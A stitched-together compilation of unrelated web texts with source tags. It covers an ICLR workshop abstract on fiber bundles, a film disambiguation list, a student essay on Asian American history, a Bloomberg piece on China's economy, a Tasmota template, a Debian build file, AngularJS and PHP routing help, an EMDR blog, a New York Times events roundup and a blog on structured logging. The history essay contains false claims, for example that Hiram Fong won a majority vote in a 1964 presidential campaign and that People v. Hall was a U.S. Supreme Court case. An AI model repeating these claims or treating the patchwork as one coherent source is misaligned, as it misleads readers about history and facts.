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publication teaser
Fiber Bundle Morphisms as a Framework for Modeling Many-to-Many Maps
Elizabeth Coda, Nico Courts, Colby Wight, Loc Truong, WoongJo Choi, Charles Godfrey, Tegan Emerson, Keerti Kappagantula, and Henry Kvinge
ICLR Workshop on Geometrical and Topological Representation Learning, 2022
Abstract:
While it is not generally reflected in the `nice’ datasets used for benchmarking machine learning algorithms, the real-world is full of processes that would be best described as many-to-many. That is, a single input can potentially yield many different outputs (whether due to noise, imperfect measurement, or intrinsic stochasticity in the process) and many different inputs can yield the same output (that is, the map is not injective). For example, imagine a sentiment analysis task where, due to linguistic ambiguity, a single statement can have a range of different sentiment interpretations while at the same time many distinct statements can represent the same sentiment. When modeling such a multivalued function f:XYf:X\to Y, it is frequently useful to be able to model the distribution on f(x)f(x) for specific input xx as well as the distribution on fiber f1(y)f^{−1}(y) for specific output yy. Such an analysis helps the user (i) better understand the variance intrinsic to the process they are studying and (ii) understand the range of specific input xx that can be used to achieve output yy. Following existing work which used a fiber bundle framework to better model many-to-one processes, we describe how morphisms of fiber bundles provide a template for building models which naturally capture the structure of many-to-many processes.
Bibtex:
@inproceedings{
coda2022,
title={Fiber Bundle Morphisms as a Framework for Modeling Many-to-Many Maps},
author={Elizabeth Coda and Nico Courts and Colby Wight and Loc Truong and WoongJo Choi and Charles Godfrey and Tegan Emerson and Keerti Kappagantula and Henry Kvinge},
booktitle={ICLR 2022 Workshop on Geometrical and Topological Representation Learning},
year={2022},
url={https://openreview.net/forum?id=HcIgi4Zkpe9}
} | ESSENTIALAI-STEM |
It's Alive
It's Alive may refer to:
Film and television
* "It's alive", a phrase used in the film Frankenstein (1931) and its sequels
* "It's alive", a phrase used in the film Rosemary's Baby (1968)
* "It's alive!", a phrase said in the opening sequence of the American stop-motion television series Robot Chicken
* It's Alive! (1969 film), a 1969 American TV film directed by Larry Buchanan
* It's Alive (1974 film), a 1974 horror film directed by Larry Cohen
* It's Alive (2009 film), a 2009 remake of the 1974 horror film
* It's Alive! (TV series), a YTV variety show that aired from 1994 to 1997
* It’s Alive!, an episode of the Japanese-American animated television series Hi Hi Puffy AmiYumi
* "It's Alive!" (Dexter), a 2007 episode of Dexter
* It's Alive with Brad Leone, a Bon Appétit web series hosted by Brad Leone since 2016
Music
* It's Alive! (The New Cars album), a 2006 album by The New Cars
* It's Alive (Ozark Mountain Daredevils album), 1978
* It's Alive (Ramones album), a 1979 live album by the Ramones
* It's Alive 1974–1996, a 2007 live DVD by the Ramones
* It's Alive, a 2018 album by John 5
* It's Alive (La Luz album), 2013
Other
* It's Alive (band), a glam-style metal band
* It's Alive! (card game), a card game | WIKI |
by Alessandro Iaia
The Beginning of Immigration
The first waves of major Asian immigration occurred in Hawaii in the 1830s. Although Hawaii was not formally a part of the Union, Hawaii hosted a large variety of American sponsored ventures, whether missionary endeavors or private companies. The beginning of the Asian influx arose when business people (almost exclusively men) realized the financial bonus of having Asian labour. At the time, Asians were paid nothing in comparison to local labour, meaning it was cheaper to sponsor the arrival of an immigrant, pay for their voyage to the USA, and pay them their base salary (which was significantly cheaper than that of a white man), rather than pay for “local labour.” As the United States continued to grow, the need for more labour grew as well. With the California Gold Rush and the Opium War in the Canton region of China (modern-day Hong Kong and Guangzhou), massive populations of Asians (specifically Chinese) immigrated into the United States between 1848-1882. The main source of labour of these Chinese immigrants was construction, specifically the construction of the transcontinental railroad, which according to various historians, is one of the most important infrastructure projects ever in the United States. Their role in the building of the railroads was not limited to simply nailing the wooden frames to the rails, the Chinese immigrants were essentially seen as “cheap meat” as they were in charge of opening mountains with the usage of explosives. Obviously these explosives were not very accurate and would often require multiple fuses before exploding, which rendered the job even more dangerous.
The Beginning of Racism
Although the treatment of Asians was undoubtedly unjust for the beginning of the 19th century, there was not an official form of oppression, rather a degree of “uncomfortable coexistence.” The white Americans generally would view the Asian immigrants as less and would be more willing to lose them than their white employees. This degree of racial separation grew deeper and deeper. After years of racial fears and oppressing, State and Federal associations began appearing which specifically and exclusively targeted Asian immigrants. The first major nationalistic association against Asian immigrants was the Asiatic Exclusion League. The AEL was responsible for many laws passed in order to limit the success of Asian-Americans. An example of their influence on American law can be found in the campaign they ran against the San Francisco Board of Education which essentially segregated schools from white schools and Asian schools (catering specifically to Korean and Japanese children). In addition, their presence was still felt throughout the early part of the 20th century as seen by President Theodore Roosevelt’s Executive order which banned all immigration from Japan to the United States and Mexico. In addition to the passing of the legislature, the AEL had extensive roles in its participation with the Chinese Exclusion Act of 1882. The AEL would enforce the law in California and target anyone of Asian descent.
Federally Approved Racism
The Chinese Exclusion Act is widely seen as the most notable anti-Chinese piece of legislature passed by the American government in the 19th century. The Act in itself carries a magnitude of racially charged wrongdoings that are blatantly obvious with its name, the Chinese Exclusion Act. But the history behind the Act shows a greater history of how uncivilized and racist the United States was at that time. The United States had already fought the expulsion of Chinese immigrants for various decades. Throughout the 1860s, white men grew a strong disdain against the Chinese as they were seen as “stealing the white man’s job.” This anti-immigrant mentality grew rampantly and caused the senate and house to pass various acts/bills aiming at banning immigration. At that time, the president, Rutherford B. Hayes, was pro-business and saw the banning of Asian immigrants as something which could hurt the economy. Once his term ended, the proceeding president, Chester A. Arthur passed the bill (Garfield was assassinated before he could pass the act). The systematic practices of racism were not only limited to the legislative and executive branch, but the judicial branch also oversaw cases which primarily stripped the rights away from Asian Americans. People v. Hall court case saw the Supreme Court deem that Asians, alongside African Americans and American Indians, would not be allowed to testify in court which would limit their possibilities to having a fair trial. These laws were passed in response to racism as Asians were seen as vastly different people because of physical and cultural differences. In the Immigration Act of 1924, the United States government expanded the restrictions against Chinese immigration and implemented a full ban on Asian immigration which was passed by Calvin Coolidge. With attacks on Pearl Harbor, two major legislations relating to Asians were passed: the Magnuson Act and the Executive Order 9066 of 1942. The Magnuson Act essentially ended the Chinese Exclusion Act purely based on economic and personal interest. Because China was at war with Japan, it would be beneficial for the United States to create a closer bond with China. But, because the United State was at war with Japan, Order 9066 was passed which sent all Japanese Americans to internment camps on the west coasts in order to “protect” Americans from the Japanese. Although the Magnuson Act was a massive stride forward in Asian equality in the United States, Order 9066 proved that racism would still run rampant within American law. The executive order was rescinded in 1976, over 30 years after the end of the Second World War by Gerald Ford. It was not until 1988 when the United States Congress recognized the wrongdoings of the United States against Japanese Americans.
Hate Against the People
Unfortunately, throughout American history, many practices of racial profiling and discrimination have tainted the reputation of American freedom. One of the most notorious yet forgotten cases of these forms of brutal division can be attributed to the Los Angeles Chinese Riots of 1871. These riots began with the assassination of a white police officer in Calle de Los Negros. After word got around about the assassination of the police officer, anger grew against the Asian community which led to a mod attacking and pillaging of the Chinese community. The attacks were not only limited to punching, the attacks included the mutilation of fingers and genitals. Eventually, 18 Chinese men
were “convicted” and lynched, in what is considered to be the largest mass lynching in American history. Following the Los Angeles Chinese Riots, The Rock Springs Massacre of 1885 created another dark moment in American history. The massacre began with a fight between a few minors; in the fight, an Asian minor was fatally hurt, and the remaining minors were left behind. After the white minors returned to the “fight”, they were armed and killed 28 Chinese people, and destroyed over 75 houses (Chinese owned).
The Ways Which Covid-19 Affected Asian Americans
2020 has been a year which can essentially be summed up by 11 letters, coronavirus. The spread of the novel virus has had multiple impacts within the modern society of the United States, whether it is testing the hospital capabilities of each individual city, the adaptability of virtual learning, or (most relevant to us) racial division. In the news, we have seen various incidents of racial aggression against Asian Americans purely based on the fact that Covid-19 originated in a Chinese town, Wuhan. These racially charged attacks are a symbol that even after 200 years of racial oppression and division, the United States has not been stripped free from the chains of racial hatred. Examples of these attacks can be found by the handful on the news; a striking example is in California with a teenager who was attacked for “having the virus” purely based on the fact that he was Asian. The attack was so violent that he actually ended up in the emergency room. Racially charged attacks against Asians remind the United States that the war against racism is not over and that even in a moment of tragedy and needed unity, people are still capable of hating others purely because they are different.
Notable Asian Americans - Yung Wing
Yung Wing was the first Asian American man to graduate from University in the United States. It was 1854 when he graduated from Yale University with a bachelor’s degree. He was an important figure in reforming the educational process between Asians and Americans; throughout his career, he brought over Chinese students into the United States in order to study. It was not until 1870 when he lost his American citizenship due to the Naturalization Act of 1870.
Notable Asian Americans - Hiram Fong
Hiram Fong was the first Asian American individual to receive a majority vote in a presidential campaign in 1964. His influence in the United States was not only limited to his presidential candidacies, but also to his career as Hawaii’s senator. He was an American native, but traced his heritage back to Guangdong China, as his father had immigrated to the United States in 1872. After immigrating he began his family, which is where Hiram Fong comes into the picture. Hiram attended a local high school and graduated from the University of Hawaii Manoa, and continued his educational studies at Harvard Law School. His decorated career in politics has made him a strong figure within the Asian community in Hawaii as he represented a side of America which had remained dormant for a century; he represented a nation where the bounds of race would not hold one back but rather be the inspiration of self success and motivation.
Notable Asian Americans - Ellison Shoji Onizuka
Ellison Shoji Onizuka was the first Asian American astronaut; having served in the United States Air Force, Onizuka was a decorated veteran who was highlighted for his aerospace capabilities. As a pilot, he had flown over 1,700 hours of training before becoming a NASA astronaut. His career came to an end in the tragic Challenger disaster, where along with 6 other individuals, he died.
A message from the author:
Understanding the history behind us is a key tool in growing and further developing as a society as well as an individual. In understanding the long existence of a cultural struggle, one not only understands what is the value of hope, but also the beauty of progression. If individuals never stood up against the status quo, human and historical progression would remain stagnant in a period where division would continue its reign and hate would presides over unity. These short lessons on the history of minority groups in our country allow us to reflect on the mistakes that we as a society have made, as well as establish the barriers to deepen the understanding of the direction of progress and true equality. | FINEWEB-EDU |
-- Nestle to Porsche Say Worst Over for China’s Outlook: Economy
Global brands from Nestle SA (NESN) to Porsche AG said the worst has passed for China’s economy as wage increases and consumption in cities in the country’s interior drive sustained growth. China is “still an amazing opportunity,” Roland Decorvet, Nestle’s Greater China chairman, said at the World Economic Forum in Dalian, China. Porsche AG’s China Chief Executive Officer Deesch Papke said the country is likely to surpass the U.S. next year as its largest market. The comments show rising confidence that Chinese Premier Li Keqiang will sustain growth after using measures including rail spending and tax cuts to halt a two-quarter slowdown. China’s industrial production, retail sales and aggregate credit rose more than forecast in August, prompting analysts at Deutsche Bank AG and Bank of America Corp. to boost growth projections. “China has stepped out of the bottom of this economic cycle,” said Ma Jun , chief China economist at Deutsche Bank in Hong Kong , who raised his 2014 growth forecast this week to 8.6 percent, the highest among estimates compiled by Bloomberg. “I believe the recovery will be sustained for one year or even more than one year.” Data Releases Ma said the producer-price index, which has declined for 18 straight months, will turn positive within six months, indicating economic growth will accelerate. Elsewhere in Asia today, Japan releases final July industrial-production figures and Singapore reports on retail sales. Europe will see reports on Sweden ’s gross domestic product and inflation in Finland and Poland . The U.S. will have data on consumer confidence , producer prices and retail sales. Nestle spent almost 3 billion yuan ($490 million) to open two factories in mainland China this year. The Vevey, Switzerland-based foodmaker opened its second coffee extraction plant and another food factory in the world’s most populous nation this July. “You have 350 million people who will not grow their own food and who will come into the city,” Decorvet said yesterday on the forum’s sidelines. “They have to buy food.” Nestle’s sales in China had slowed amid rising raw-milk and wage costs and as economic growth slowed in each of the two quarters ended in June. Still, the company’s China business grew at least 10 percent in the first half, Chief Financial Officer Wan Ling Martello said in a conference call Aug. 8. Sales in Greater China more than doubled last year to 5.16 billion Swiss francs ($5.5 billion). Inner Regions Porsche’s Papke said sales growth in China will accelerate next year, fueled by the introduction of its Macan compact SUV and a push to expand into the inner regions of the country. “The epicenter of the world has for many reasons moved from the U.S., across Europe and now is sitting in Asia, and China is obviously the powerhouse of Asia,” Papke said in an interview yesterday in the southern city of Foshan, where Porsche is introducing its newest Panamera cars. “We’re extremely optimistic about the success of Macan.” Carlsberg A/S (CARLB) , which has stakes in 40 breweries in China, said rising incomes and urbanization will drive demand for its premium products. “The momentum we have seen in the first half, we can continue in the second half,” Soren Ravn, who heads the brewer’s China business, said yesterday in an interview at the forum in Dalian. “After many years of urbanization, you can start to do more of a cluster strategy and go for big cities.” Premium Demand Sales of Carlsberg’s premium brands such as Carlsberg Light and Tuborg are growing twice as fast as its local brands, Ravn said. The brewer is “looking at opportunities available” for acquisitions in China, he said, without identifying any targets. The optimism among automakers, food processors and brewers in China at the World Economic Forum is still tempered by the outlook for the slowest economic growth since 1990. China’s gross domestic product will still probably expand 7.5 percent this year, the slowest in more than two decades, according to the median estimate of economists surveyed by Bloomberg. “The foundation of an economic recovery is not solid yet, with many uncertain factors,” Chinese Premier Li said in a Sept. 11 speech at the forum in Dalian. Policy makers have signaled they will defend a 7.5 percent expansion goal for 2013 and seek to ensure a pace of 7 percent in the coming years. Li pledged reforms that will ripple throughout the financial system as Communist Party leaders prepare for a November meeting to lay out a blueprint for sustaining long-term growth. Investing ‘Heavily’ Henkel AG, a maker of adhesives, cleaners and cosmetics, said it will invest “heavily” in China to boost sales. Kasper Rorsted, chief executive officer of the Dusseldorf, Germany-based company, said he’s expanding the professional hair-care products lineup in China under a plan to boost sales. He spoke at the forum in Dalian yesterday. The company is targeting a beauty and personal-care market that may grow 8.8 percent to $34.8 billion this year, according to estimates by London-based researcher Euromonitor. “We have been and continue to be very bullish on China,” Rorsted said. The company plans to boost revenue to 20 billion euros ($27 billion) in 2016 from 16.5 billion euros last year, with half its sales coming from markets including Latin America or the Asia-Pacific region. Company Shopping Alliance Boots GmbH, owner of the U.K.’s largest drugstore chain, said it will seek acquisitions in China and could have as many as 5,000 pharmacies in the Asian nation in two years if it succeeds in closing enough deals. The company may consider making some China investments jointly with U.S. drugstore operator Walgreen Co. (WAG) , which owns 45 percent of Alliance Boots, Executive Chairman Stefano Pessina said in an interview at the forum in Dalian this week. Alliance Boots has 29 stores through a joint venture in mainland China, the world’s fastest-growing major pharmaceutical market. Industry sales in the nation are forecast to rise as much as 18 percent a year to about $165 billion by 2016, according to consulting firm IMS Health Inc. “China is a big market, one of the largest in the world, and the only large market where we don’t have a very strong presence,” the 72-year-old Italian billionaire said. The Switzerland-based company is interested in buying stakes of 20 percent to 50 percent in local pharmacy companies in China, he said. It has spoken with “most of the big companies” in the country and hopes to announce a deal “relatively soon,” Pessina said, without giving a timeframe. To contact the reporters on this story: Liza Lin in Dalian at llin15@bloomberg.net ; Alexandra Ho in Dalian at aho113@bloomberg.net To contact the editors responsible for this story: Frank Longid at flongid@bloomberg.net ; Stephanie Wong at swong139@bloomberg.net ; Paul Panckhurst at ppanckhurst@bloomberg.net | NEWS-MULTISOURCE |
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RJWF-02A
Available from:
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Manufacturer:
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Flashed with:
Tuya-Convert
GPIO #Component
GPIO00 Button1
GPIO01 Tuya Tx
GPIO02 None
GPIO03 Tuya Rx
GPIO04 None
GPIO05 None
GPIO09 None
GPIO10 None
GPIO12 None
GPIO13 None
GPIO14 Led1
GPIO15 None
GPIO16 None
FLAG None
Template
{"NAME":"RJWF-02A","GPIO":[17,107,0,108,0,0,0,0,0,0,52,0,0],"FLAG":0,"BASE":54}
Tuya-Convert might not be possible for this device if the manufacturer started using newest Tuya firmware since this template was published (2019-12-06).
Based on a TYWE3S module.
After applying the template enable dimmer functionality using command:
TuyaMCU 21,2
See the following link for alternatives if the above doesn’t work: https://tasmota.github.io/docs/TuyaMCU?id=dimmers
Set dimmer range to:
DimmerRange to 0,250 | ESSENTIALAI-STEM |
#!/usr/bin/make -f export DEB_BUILD_MAINT_OPTIONS = hardening=+all # Uncomment this to turn on verbose mode. #export DH_VERBOSE=1 configure_opts := --with-xtables --with-json override_dh_auto_configure: dh_auto_configure -- $(configure_opts) -- %: dh $@ --with autoreconf override_dh_fixperms: dh_fixperms chmod a+x debian/nftables/etc/nftables.conf override_dh_installsystemd: dh_installsystemd --no-enable --no-start # https://wiki.debian.org/DebugPackage .PHONY: override_dh_strip override_dh_strip: dh_strip --dbgsym-migration='nftables-dbg (<< 0.7~)' override_dh_installinit: # dh_installinit will try to mess with /etc/init.d/nftables in # the maintainer scripts, but we don't ship it dh_installinit -n override_dh_installexamples: dh_installexamples # upstream examples are installed in by the 'install' target to '/etc/nftables' rm -rf debian/nftables/etc/nftables | ESSENTIALAI-STEM |
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Ritesh Gupta Ritesh Gupta - 10 months ago 61
AngularJS Question
How to pass values to Angular JS Service
I have implemented to Edit and Display values on text boxes etc but now want to transfer these code to Angular JS Service.Here is my code-
app.factory('fetchEmpService', ['$rootScope', '$http', function ($rootScope, $http ) {
var employees = [];
return {
editEmp: function (EID) {
debugger;
for (i in $rootScope.employees) {
if ($rootScope.employees[i].EmpId == EID) {
$rootScope.newemployee = {
EmpId: $rootScope.employees[i].EmpId,
Name: $rootScope.employees[i].Name,
Age: $rootScope.employees[i].Age,
City: $rootScope.employees[i].City,
Gender: $rootScope.employees[i].Gender
};
}
}
},
};
}]);
I am using $rootScope instead of $scope (previously used in controller) object. Is it correct way because its returning nothing.
Answer
It's not good practice to store data in $rootScope, you're correct in thinking you need a factory though.
Rather than storing the employees on $rootScope you can store them in the service.
app.factory('fetchEmpService', ['$http', function ($http) {
var employees = [];
return {
getEmployees: function () {
return employees;
},
setEmployees: function (newEmployees) {
employees = newEmployees;
},
editEmp: function (EID) {
for (var i in employees) {
if (employees[i].EmpId == EID) {
return {
EmpId: employees[i].EmpId,
Name: employees[i].Name,
Age: employees[i].Age,
City: employees[i].City,
Gender: employees[i].Gender
};
}
}
}
};
}]);
Wherever you initially set $rootScope.employees, change it to fetchEmpService.setEmployees(foo);. To get your employees, fetchEmpService.getEmployees();.
I'm not sure how your editEmp function works so that's up to you to configure, but this is a sensible enough start. | ESSENTIALAI-STEM |
How EMDR Helps Reduce Symptoms Related To Post-Traumatic Stress Disorder
If you suffer from Post-Traumatic Stress Disorder, you are not alone. Many people who encounter a traumatic situation will have emotion fallout from the experience. If your anxiety feels out of control and you are constantly feeling stressed out, EMDR might be a great treatment to consider to help ease your symptoms. EMDR stands for Eye Movement Desensitization and Reprocessing, and it is a therapeutic intervention that helps people heal from trauma. While it once took years to recover emotionally from a traumatic experience, EMDR has been shown to reduce healing times dramatically. Therapists must be trained in EMDR techniques in order for this type of treatment to be effective.
How EMDR Treatments are Provided
EMDR is a treatment that occurs over several weeks or months, and follows a series of 8 phases.The first phase is to gather information regarding the client's history and identify the traumatic event or events that have caused PTSD to develop. The therapist will work closely with the patient, listening for events and determining which memories to target first. This can be a short process if there was one traumatic event identified, or it can take longer as a person suffering from PTSD may have had a traumatic upbringing.
Bilateral Stimulation and EMDR
The patient will identify an image associated with the memory, any negative feelings about their being, and the emotions that come up when thinking about the memory. As the therapist and patient talk about the traumatic event, the therapist will begin producing bilateral stimulation. This can be as simple as the therapist tapping the left then right hand of the individual, going back and forth as the conversation goes on. The bilateral stimulation is thought to decrease anxiety, make the trauma memory more manageable, and distance the patient from the memory itself.
Considerations for Patients with PTSD
While EMDR doesn't hurt and does not require the use of medications, the patient must be ready for this type of treatment in order for it to be effective. People who have not developed any coping skills regarding the trauma won't be able to maintain the wellness they need to in between sessions. Patients suffering from mental illness in addition to PTSD may not be good candidates for the technique. The therapist and patient should work closely together to determine the nature of the trauma, and the patient's ability to handle talking about it at this time. Talk to a center like Trauma Counseling that specializes in EMDR counseling to help you decide if this therapy is right for you.
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If you are like most people, you might get a little upset when someone mentions personal problems that you don't like to discuss in public. However, in the realm of counseling, this kind of thing happens all the time, but in a private, controlled setting. You have to learn how to address personal problems head-on, which is why I wanted to put up this blog. This website is all about keeping your calm while going through the counseling process, so that you can avoid extra frustration. I know that a lot of this information could have helped me. Check it out!
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3.4.4. Generating Paths From Routes
To generate a path from a route so that you can create links, first retrieve the Generator from the RouterContainer.
<?php
$generator = $routerContainer->getGenerator();
?>
You can then call Generator::generate() with the route name and optional attributes to use for named placeholder tokens.
<?php
$path = $generator->generate('blog.read', ['id' => 42]);
$href = htmlspecialchars($path, ENT_QUOTES, 'UTF-8');
echo "<a href=\"{$href}\">Blog link</a>";
?>
The generate() method will URL-encode the placeholder token values automatically. Use the generateRaw() method to leave them un-encoded.
If there are named placeholder tokens in path without corresponding attributes, those tokens will not be replaced, leaving the placeholder token in the path.
If there are attributes without corresponding tokens, those attributes will not be added to the path.
3.4.4.1. Optional Attributes
If you generate() a path from a route with optional attributes, the attributes will be filled in if they are present in the data for the link. Remember, the optional attributes are sequentially optional, so the attributes will not be filled in after the first missing one:
<?php
$map->route('archive', '/archive{/year,month,day}')
->tokens([
'year' => '\d{4}',
'month' => '\d{2}',
'day' => '\d{2}'
]);
$link = $generator->generate('archive', [
'year' => '1979',
'month' => '11',
]); // "/archive/1979/11"
?>
3.4.4.2. Wildcard Attributes
If you generate() a link with wildcard attributes, the wildcard key in the data will be used for the trailing arbitrary attribute values:
<?php
$map->route('wild_post', '/post/{id}')
->wildcard('other');
$link = $generator->generate('wild_post', [
'id' => '88',
'other' => [
'foo',
'bar',
'baz',
]
]); // "/post/88/foo/bar/baz"
?> | ESSENTIALAI-STEM |
New York Today: A Fall Arts Preview
New York Today Updated, 9:44 a.m. Good morning on this so-so Friday. We know, summer’s not over yet. But this sweaty weather is making us look forward to some of autumn’s favorable offerings: chilly nights, comfy sweaters — and a new season for the arts. “Fall is sort of like back-to-school for us,” said Mary Jo Murphy, editor of Weekend Arts on The Times’s culture desk. And culture hounds are already filling calendars for the cooler months. We asked her to collect from her colleagues the most buzzed-about productions: • Theater Fall is when Broadway really shines, Ms. Murphy said, and Cate Blanchett’s Broadway debut in “The Present” (previews begin Dec. 17) is a particularly anticipated bright spot. So is New York Theater Workshop’s Off Broadway production of “Othello” starring Daniel Craig and David Oyelowo (opens Nov. 22). • Music Kanye West’s appearance at Governor’s Ball was canceled, but he is expected back in town for a new music festival, The Meadows, on Oct. 2. We want it bad: New York’s own Lady Gaga will have a new album. And the baton will be passed in a preview of the New York Philharmonic’s incoming music director, Jaap van Zweden, who will lead a concert series beginning Nov. 17. • Dance The choreographer Mark Morris, who our dance critic recently called the “most artfully musical choreographer alive,” curates the monthlong “White Light Festival” beginning Oct. 16. And a series on the AIDS epidemic is at Dancespace Project. • Art Among the most anticipated exhibitions this season are those by the artists Kerry James Marshall at the Met Breuer (Oct. 25) and Francis Picabia at MoMA (Nov. 21). What are the cultural events you’re most looking forward to this fall? Let us know in the comments. Here’s what else is happening: Oh, thunder road. Apparently that’s where we’re headed today. We may see scattered showers and thunderstorms this morning, and more of the same tonight. But even if we’re able to dodge the drizzle, it’s not going to be the most beautiful of days; it’ll be nearly 90 and cloudy, and it may stay that way for much of the weekend. • G.E. spent years cleaning up the Hudson River, but was it enough? [New York Times] • A false conviction is overturned, but the system that allowed it remains. [New York Times] • A Brooklyn student was arrested and accused of bringing a loaded .22 caliber handgun to the first day of class at his high school in Clinton Hill. [DNAInfo] • Millennials, whose futures have been shaped by the terrorist attacks on Sept. 11, 2001, reflect on that tragic day. [amNewYork] • Two major New York news media outlets are suing Mayor Bill de Blasio. [WNYC] • City schools need to do a better job reporting bullying and sexual harassment. [DNAInfo] • A large project to redevelop Riverside Park on the Upper West Side is underway. [West Side Rag] • The man who caters meals for the cast and crew of “Hamilton” and other Broadway hits is opening a restaurant in Manhattan. [DNAInfo] • Have you heard of the Made in New York Writers Room? [Crain’s] • Today’s Metropolitan Diary: “Rehearsing with a Rockette” • Scoreboard: Yankees sting Rays, 5-4. • For a global look at what’s happening, see Your Friday Briefing. • The original manuscript of Charlotte Brontë’s “Jane Eyre” is on display for the first time in the U.S. at the Morgan Library & Museum in Manhattan. 10:30 a.m. [$20] • Visit the opening of the Brooklyn Bazaar, with music, arcade games, and a vendor market, in Greenpoint. 5 p.m. [Free admission] • Sample new games at an Incubator Showcase at New York University’s Game Center in Downtown Brooklyn. 6 p.m. [Free] • Search for bats at Willowbrook Park on Staten Island. 7 p.m. [Free, registration required] • A Puerto Rican salsa orchestra plays an evening of dance music at the Kupferberg Center for the Arts in Flushing, Queens. 8 p.m. [Tickets start at $35] • Yankees host Rays, 7:05 p.m. (YES). Mets at Braves, 7:35 p.m. (SNY). Saturday • Ride 100, 62 or 31 miles during Bike the Boroughs beginning at Pier 97 in Hell’s Kitchen. 5:30 a.m. [$75] • The Queens Borough Bocce Tournament kicks off at Juniper Valley Park in Middle Village. 8:30 a.m. [Free] • Join a 5K walk or run (and other activities) to support awareness of ovarian cancer, beginning at the Bandshell in Prospect Park, Brooklyn. 9 a.m. [$40 registration] • Adopt a cat, or just enjoy the feline-inspired fashion show, at “Hot to Adopt” at Lori Bookstein Fine Art Gallery in Chelsea. 1 p.m. [Free, R.S.V.P. required] • Medical researchers discuss fighting AIDS in the Bronx at the Bronx Museum. 3 p.m. [Free] • Yankees host Rays, 4:05 p.m. (FOX). Mets at Braves, 7:10 p.m. (WPIX). New York City F.C. at New England Revolution, 8 p.m. (YES). • Watch “The New York Times Close Up,” featuring, among others, Mark Thompson, the company’s chief executive. Saturday at 10 p.m. and Sunday at 10 a.m. on NY1. Sunday Some ways to mark the 15th anniversary of the Sept. 11, 2001 attacks: • Join a livestream of the 9/11 Memorial’s annual commemoration ceremony, viewable here beginning at 8:46 a.m. • A ringing of the bell at St. Paul’s Chapel, which became a home for emergency responders in the aftermath of the attacks, will take place at 8:46 a.m. • Honor the hundreds of firefighters lost that day at a memorial service at the FDNY Museum on Spring Street in Manhattan. 1 p.m. [Free] • Two beams of light will shine near the World Trade Center beginning at 6 p.m. [Free] • Volunteer for various related causes around the city as part of 9/11 Day. Also on Sunday: • A naturalist leads a birding walk at Wave Hill in the Bronx. 9:30 a.m. [$8] • A screening of “Mystery Monkeys of Shangri-La” at the Jacques Marchais Museum of Tibetan Art on Staten Island. 2 p.m. [$6] • An afternoon of music from the composer Martin Bresnick, in honor of his 70th birthday, at the Noguchi Museum in Astoria, Queens. 3 p.m. [$10] • The Free Standup Festival continues with comedy performances at the Knitting Factory in Williamsburg. 9 p.m. [Free] • New York Red Bulls host D.C. United. 1 p.m. (ESPN). Yankees at Rays, 1:05 p.m. (YES). Mets at Braves, 1:35 p.m. (SNY). • For more events, see The New York Times’s Arts & Entertainment guide. • Subway and PATH • Railroads: L.I.R.R., Metro-North, N.J. Transit, Amtrak • Roads: Check traffic map or radio report on the 1s or the 8s. • Alternate-side parking: in effect until Sept. 12. • Ferries: Staten Island Ferry, New York Waterway, East River Ferry • Airports: La Guardia, J.F.K., Newark • Weekend travel hassles: Check subway disruptions and a list of street closings. Earlier this year, the Infrastructure Observatory announced a game-design competition honoring “The Power Broker,” the biography of the controversial New York urban planner Robert Moses. (Mr. Moses had a hand in the construction of Lincoln Center, the Triborough Bridge and the United Nations headquarters, but he also said things like: “When you operate in an overbuilt metropolis, you have to hack your way through with a meat ax.”) The winners were announced today. • First place: Triborough Card Authority. Like Mr. Moses, players in this tabletop card game spend political capital to build parks and bridges. • Runner up (video game): Good Authority. The power broker drives around the city hoarding power and financial resources. Gamers play through his failed gubernatorial run and the seizure of the Triborough Bridge Authority. • Runner up (tabletop): Right of Way. This game simulates the construction of highways through poor and affluent areas of the city and asks: Do you do what’s politically popular or efficient? Other notable entries included a subway construction video game, Brand New Subway (playable here), and Heartbreak Highway, in which players move residents into new homes before their houses are bulldozed for the construction of the Cross-Bronx Expressway. Many of the games should be available to play later this year. New York Today is a weekday roundup that stays live from 6 a.m. till late morning. You can receive it via email. For updates throughout the day, like us on Facebook. What would you like to see here to start your day? Post a comment, email us at nytoday@nytimes.com, or reach us via Twitter using #NYToday. Follow the New York Today columnists, Alexandra Levine and Jonathan Wolfe, on Twitter. You can find the latest New York Today at nytoday.com. An earlier version of a picture caption with this article misidentified Robert Moses. He is second from the right, in a white suit, not second from the left. | NEWS-MULTISOURCE |
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Logs vs Structured Events
I got an interesting tweet the other day from @evntdrvn in response to this thread of mine. Paraphrasing,
“So I’ve almost got our group at work up to Step 1 in your observability maturity model, but some of the devs that I work with want to turn OFF our lovely structured logging in prod for informational-level msgs due to their legacy philosophy (‘we only log errors in prod’). The reasons given are mostly philosophical (“I’m a dev and only interested when things error out, I don’t want any other noise in prod logs”, “I don’t want to slow my app down in prod”). Help?!?”
As I was reading this, I was itching to fly out and dive into battle with Eric. I know exactly where his opinionated devs are coming from. I used to say the same things! I even wrote a whole blog post about it.
These developers have internalized a set of rules and best practices for dealing with output data, in the context of “monolith application development in the early 2000s”.
Monolithic systems assumptions
Those systems had many common constraints and assumptions, such as:
Monolithic logging best practices
Therefore:
These were exactly the right lessons to learn in the era of expensive hardware and monolithic repos/artifacts. Many people still work in environments like this, and follow logging best practices like these. God bless, more power to em.
Distributed systems assumptions
But more and more of us face systems that are very different.
This isn’t optional: at some point of complexity or scale or distributedness, it becomes necessary if you want to work with these systems.
Logs can’t help you here.
And you aren’t going to get that kind of explorable data out of loglevel:ERROR, or by chopping up your telemetry into disconnected metrics devoid of context.
You are only going to get this kind of explorable, ad hoc, computation-friendly data if you take a radically new approach to how you output and aggregate telemetry. You’re going to need to replace your log lines and log levels with a different sort of beast: arbitrarily wide structured events that describe the request and its context, one event per
request per service.
If it helps, don’t think of them as log files any more. Think of them as events. Yes, you can stash this stream in a file, but why would you? on what disk? will that work for your serverless functions too? Just stream them over the network to wherever you want to put them.
Log levels are another confusing and unnecessary artifact of yesteryear that you no longer really need. The more you think of structured events as logs, the more tempted you may be to apply the old set of best practices. So just don’t think of them as logs at all.
How to gather and structure your data
Instead of dribbling little pebbles of log effluvia throughout your code, do this. (If you’re a honeycomb user, our beelines do it all automatically for you *and* pre-propagate the blobs with everything we know of your context.)
1. Initialize an empty blob at the beginning, when the request first enters the service.
2. Stuff any and all interesting detail about the request into that blob throughout the lifetime of the request.
• Any unique id, any high-cardinality variable, any headers passed in, every full query, normalized query, and query execution time; every http call out to a remote service, every http execution time; any shopping cart id, first and last name, execution time — literally anything interesting, append to blob.
3. Then, when the request is about to exit or error, write the blob off to honeycomb or another service or disk somewhere.
You can see immediately how this method has radically different performance implications and risks than the earlier shotgun spray approach. No more “oops i accidentally put a print line INSIDE a for loop”. The write amplification profile is compressed. Most importantly, the incremental cost of capturing more detail about the request per service is nearly zero.
